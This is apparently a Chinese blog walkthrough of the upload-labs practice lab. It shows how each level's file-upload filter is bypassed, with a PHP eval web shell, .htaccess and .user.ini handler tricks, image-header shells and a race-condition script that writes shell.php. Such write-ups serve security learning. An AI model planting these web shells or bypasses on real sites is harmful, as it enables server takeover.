本文最后更新于:10 个月前
uploads-labs
level1
创建一个eval.php:
1
| <?php eval($_POST['cmd']);?>
|
被警告了,看一眼前端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <script type="text/javascript"> function checkFile() { var file = document.getElementsByName('upload_file')[0].value; if (file == null || file == "") { alert("请选择要上传的文件!"); return false; } var allow_ext = ".jpg|.png|.gif"; var ext_name = file.substring(file.lastIndexOf(".")); if (allow_ext.indexOf(ext_name) == -1) { var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name; alert(errMsg); return false; } } </script>
|
前端检验后缀,把eval.php重命名为eval.jpg,bp抓包,改文件名,放行:
蚁剑连接:
level2
同上题一样的改包姿势行不通,不是前端验证,这里存在后端MEME验证,
这次改Content-Type为允许的类型来绕过
蚁剑连接
看一眼后端是怎么验证的:
1 2 3
| if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){ }
|
level3
这次上传php木马后成这样:
常见替代.php后缀有php(1-8),pHp(1-8),phtml等等:
,这里设了个黑名单
1 2 3 4 5 6 7
| $deny_ext = array('.asp','.aspx','.php','.jsp'); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
|
重命名eval.php为eval.phtml,上传
level4
emmm,常见的后缀基本上都被过滤了。。
1
| $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
|
,但是还是后端后缀检查,没过滤.htaccess,传一个.htaccess,将jpg后缀解析为php
1 2 3
| <FilesMatch "eval.jpg"> SetHandler application/x-httpd-php </FilesMatch>
|
或者如下将所有文件解析为php:
1
| SetHandler application/x-httpd-php
|
或如下指定后缀解析为php
1
| AddType application/x-httpd-php .jpg
|
再上传eval.jpg脚本,最后蚁剑连接,当然前几题也适用,蚁剑连接:
level5
这个连.htaccess也过滤了,最后统一转为小写再进行过滤。。。挺严格的哈,瞅一眼提示:
注意到upload里始终有一个readme.php,没过滤php7,也没过滤.ini可以上传.ini文件:
user.ini:(爱来自ChatGPT)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| user.ini : 自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。 两个新的 INI 指令,user_ini.filename 和 user_ini.cache_ttl 控制着用户 INI 文件的使用。 user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini。 user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。
|
1 2 3
| auto_prepend_file 是 PHP 配置选项之一,用于指定一个在每个 PHP 文件执行之前自动包含(包含在头部)的文件。这个选项允许你在所有 PHP 脚本执行之前自动加载一些通用的代码或库,无需在每个脚本中手动包含。
例如,如果你有一些通用的函数、类或设置,希望在所有 PHP 脚本执行之前都要加载,你可以通过配置 auto_prepend_file 来实现。这样,你只需在一个地方定义这些共享的代码,而不必在每个脚本中都进行手动包含。
|
在user.ini添加以下内容:
1
| auto_prepend_file=eval.jpg
|
在执行readme.php时会把eval.jpg的内容包含进去,
level6
没有进行小写转化且后缀过滤不够全面
1 2 3 4 5 6
| $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
|
,钻phP后缀空子
上传完之后在源代码处找到上传文件路径
level7
和前面的关卡比起来,过滤中少了trim()空格过滤
上传成功后这里就懒得推算时间戳了(
level8
与前面的相比,缺少了deldot()
函数对结尾点号进行过滤
再蚁剑连接
这么说点可以绕过的话,上面level5也可以用.php. .
后缀来绕过力
level9
少了::$DATA
1
| php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
|
但是,我是Linux(
看别人操作(悲,等之后有机会碰到知道有这么一种姿势就行,(注意蚁剑连接时不用加$::DATA)
level10
1 2 3 4 5 6 7
| $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name); $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); $file_ext = str_ireplace('::$DATA', '', $file_ext); $file_ext = trim($file_ext);
|
记得上面说的.php. .
绕过罢
level11
惯例上传一个eval.php,嗯?居然没报错
看一眼源代码,发现后缀没了
不多说,双写绕过试一下:
看一眼过滤,果然替换后缀为空:
1 2 3 4
| $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name);
|
level12
上传了eval.jpg,观察网页源码时发现路径中多了个’/‘,
观察后端源代码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1); if(in_array($file_ext,$ext_arr)){ $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = '上传出错!'; } } else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; } }
|
如果后缀不为jpg|png|gif就无法上传,根据他的逻辑,刚想试着构造多后缀突然想到也行不通
白名单+get00截断,自己学习了相关知识,由于对应的漏洞php版本较旧相关插件缺失没法复现,(另一个主要原因是懒)
level13
post00截断,链接同level12
level14
和之前有所不同,
查看源码,源码检查文件前两个字节,之前在readthedocs上看到过:
winhex,启动!!在一句话木马文件的开头修改字节为png的
图片马无法直接被当做木马被解析,因为本质上还是图片,要配合文件包含漏洞利用,上传成功了
获取一下文件名:
连接成功:
用cmd构造图片马参考文章
最后连接成的图片在winhex中打开结构和上面的图片马一样
level15
这题通过getimagesize()
函数来获取图片类型,其原理依旧是通过获取文件前几个字节来判断,但是用上一题的png显示无法上传,找了个更全的文件头:
1 2 3 4
| 1.Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG。 2.Jpg图片文件包括2字节:FF D8。 3.Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。 4.Bmp图片文件包括2字节:42 4D。即为 BM。
|
前八个字节都改:
上传成功:
连接成功
level16
使用exif_imagetype()
函数来获取文件类型,其原理也是通过读取文件头部信息(开头几个字节),那就好办了,和上题一样就行。
在使用时需要在php环境中启用php_exif拓展
level17
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85
| $is_upload = false; $msg = null; if (isset($_POST['submit'])){ $filename = $_FILES['upload_file']['name']; $filetype = $_FILES['upload_file']['type']; $tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
$fileext= substr(strrchr($filename,"."),1);
if(($fileext == "jpg") && ($filetype=="image/jpeg")){ if(move_uploaded_file($tmpname,$target_path)){ $im = imagecreatefromjpeg($target_path);
if($im == false){ $msg = "该文件不是jpg格式的图片!"; @unlink($target_path); }else{ srand(time()); $newfilename = strval(rand()).".jpg"; $img_path = UPLOAD_PATH.'/'.$newfilename; imagejpeg($im,$img_path); @unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
}else if(($fileext == "png") && ($filetype=="image/png")){ if(move_uploaded_file($tmpname,$target_path)){ $im = imagecreatefrompng($target_path);
if($im == false){ $msg = "该文件不是png格式的图片!"; @unlink($target_path); }else{ srand(time()); $newfilename = strval(rand()).".png"; $img_path = UPLOAD_PATH.'/'.$newfilename; imagepng($im,$img_path);
@unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; }
}else if(($fileext == "gif") && ($filetype=="image/gif")){ if(move_uploaded_file($tmpname,$target_path)){ $im = imagecreatefromgif($target_path); if($im == false){ $msg = "该文件不是gif格式的图片!"; @unlink($target_path); }else{ srand(time()); $newfilename = strval(rand()).".gif"; $img_path = UPLOAD_PATH.'/'.$newfilename; imagegif($im,$img_path);
@unlink($target_path); $is_upload = true; } } else { $msg = "上传出错!"; } }else{ $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!"; } }
|
本题basename()
函数用于返回文件路径中文件名部分的函数
imagecreatefromgif()
创建一块画布,从gif地址加载gif图片;
然后经过二次渲染显示出来
原理是上传一张图片,然后再把图片下载下来,对比前后图片的十六进制码,(头部除外),对比前后hex码相同的位置,然后在其中插入木马,比如说这张gif(一般gif会比较容易插入)
然后修改这部分
得到:
level18
本题考察条件竞争:
看一眼源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $is_upload = false; $msg = null;
if(isset($_POST['submit'])){ $ext_arr = array('jpg','png','gif'); $file_name = $_FILES['upload_file']['name']; $temp_file = $_FILES['upload_file']['tmp_name']; $file_ext = substr($file_name,strrpos($file_name,".")+1); $upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){ if(in_array($file_ext,$ext_arr)){ $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; rename($upload_file, $img_path); $is_upload = true; }else{ $msg = "只允许上传.jpg|.png|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }
|
用文件名截取的方式来获取后缀,真就非图片后缀不可了?如果有文件包含漏洞还可以上传图片马,可是这道题并没有提供文件包含漏洞的。再看一眼源代码,可以看见如果错误文件上传后,其实是已经上传进服务器了的,但是之后如果不满足后缀就直接删除,服务器的一切行为都需要时间,如果我可以在服务器将文件删除之前,访问一个可以创建新文件的文件,那新文件一旦创建不是就不会被删除了吗?这就是条件竞争,在服务器没来得及删除文件之前先访问文件
这里使用fwrite()
函数写入文件
1
| <?php fwrite(fopen('shell.php','w'),'<?php eval($_POST["cmd"]); ?>');?>
|
将上述代码重命名为jz.php
bp抓包:
丢到爆破区,然后clear掉所有的爆破点,主要是为了不断上传文件
payload设置为空,不受限发包:
线程数调高点:
然后就开始攻击,不断重发包
同样的方法不断访问该文件
直到状态码出现200,就说明访问成功了,也就生成了shell.php
level19